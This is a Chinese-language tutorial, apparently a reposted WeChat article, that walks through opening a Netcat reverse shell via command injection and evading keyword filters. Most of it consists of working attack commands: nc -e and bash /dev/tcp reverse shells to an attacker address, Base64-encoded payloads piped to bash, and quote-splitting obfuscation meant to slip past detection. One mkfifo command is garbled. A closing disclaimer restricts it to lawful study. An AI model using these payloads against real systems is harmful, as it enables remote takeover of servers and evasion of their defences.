绕过关键字过滤并利用 Netcat 反弹 Shell 的完整流程
1. 背景知识
在渗透测试或命令注入攻击中,目标服务器可能会有关键字过滤(比如nc
、bash
、/bin/sh
等)。为了绕过检测,我们可以使用 Base64 编码,把真正的命令隐藏起来,并让目标服务器解码执行。
目标:
-
在攻击者机器(你自己的电脑)上监听端口,等待目标服务器反向连接。
-
在目标服务器上执行 Netcat 反弹 Shell 命令,把 Shell 发送到你的监听端口。
-
如果服务器有关键字检测,就用 Base64 编码绕过。
2. 反弹 Shell 的基础方法(无编码)
最基础的 Netcat 反弹 Shell 命令是:
nc -nv 攻击者IP 1234 -e /bin/bash
其中:
-
-n
不进行 DNS 解析,加快连接速度。 -
-v
显示详细信息(可选)。 -
攻击者IP
是你的 IP(监听端机器)。 -
-e /bin/bash
让 Netcat 把 Bash Shell 绑定到 TCP 连接上。
示例
攻击者机器监听:
nc -nvlp 1234
目标服务器执行反弹 Shell 命令:
nc -nv 192.168.1.100 1234 -e /bin/bash
如果连接成功,你在nc -nvlp 1234
的窗口里会获得一个远程 Shell。
3. 目标服务器有关键字检测,如何绕过?
(1)先在本地进行 Base64 编码
不能直接输入nc -nv 192.168.1.100 1234 -e /bin/bash
,否则可能被拦截,所以先进行 Base64 编码:
echo -n "nc -nv 192.168.1.100 1234 -e /bin/bash" | base64
输出示例:
bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g=
(2)在目标服务器执行 Base64 方式的反弹 Shell
echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | base64 -d | bash
该命令的作用:
-
echo "Base64编码字符串"
:输出 Base64 版本的命令。 -
base64 -d
:解码回原来的nc -nv 192.168.1.100 1234 -e /bin/bash
。 -
bash
:执行解码后的命令。
如果执行成功,目标服务器会尝试连接192.168.1.100:1234
,并且你在攻击者机器上的nc -nvlp 1234
监听窗口会收到一个 Shell。
4. 绕过更严格的检测
(1)分块 Base64 解码
echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | ba''se''6''4 -d | b''a''s''h
或者:
echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | ba''se''6''4 -d | /b''i''n/sh
(2)使用$(echo xxx | base64 -d)
方式
bash -c "$(echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | base64 -d)"
这样bash -c
负责执行括号里的命令。
5. 如何判断目标服务器支持 Base64?
echo "dGVzdA==" | base64 -d
如果返回test
,说明base64
是可用的。
6. 可能遇到的问题
(1)目标服务器没有nc
如果nc
不可用,尝试使用 Bash 自带的 TCP 反弹:
bash -i >& /dev/tcp/192.168.1.100/1234 0>&1
然后同样可以 Base64 编码:
echo -n "bash -i >& /dev/tcp/192.168.1.100/1234 0>&1" | base64
目标服务器执行:
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzEyMzQgMD4mMQ== | base64 -d | bash
(2)目标服务器无法连接你的监听端口
可能的原因:
-
服务器的防火墙阻止了出站连接。
-
你的监听端口(1234)被防火墙拦截(关闭防火墙或换个端口)。
-
服务器的
nc
版本不支持-e
选项,可以尝试mkfifo
方式:
mkfifo /tmp/backpipe/bin/sh 0</tmp/backpipe | nc 192.168.1.100 1234 1>/tmp/backpipe
再用 Base64 编码执行。
7. 总结
监听端(你的电脑):
nc -nvlp 1234
在本地编码 Netcat 反弹 Shell 命令:
echo -n "nc -nv 192.168.1.100 1234 -e /bin/bash" | base64
在目标服务器执行 Base64 反弹 Shell:
echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | ba''se''6''4 -d | b''a''s''h
如果nc
被禁用,尝试 Bash 反弹:
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzEyMzQgMD4mMQ== | base64 -d | bash
这样你每次遇到命令注入、关键字过滤或者反弹 Shell 的时候,就可以按照这个流程一步步分析并尝试不同的方法!
8. 免责声明
本文章仅用于技术研究与网络安全学习,旨在帮助用户提高安全意识,防范潜在的网络威胁。所有内容均基于合法合规的测试环境,任何组织或个人不得将其用于非法用途,否则由使用者自行承担法律责任。本文作者不承担因使用本工具导致的任何直接或间接后果。
原文始发于微信公众号(船山信安):绕过关键字过滤并利用 Netcat 反弹 Shell 的完整流程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论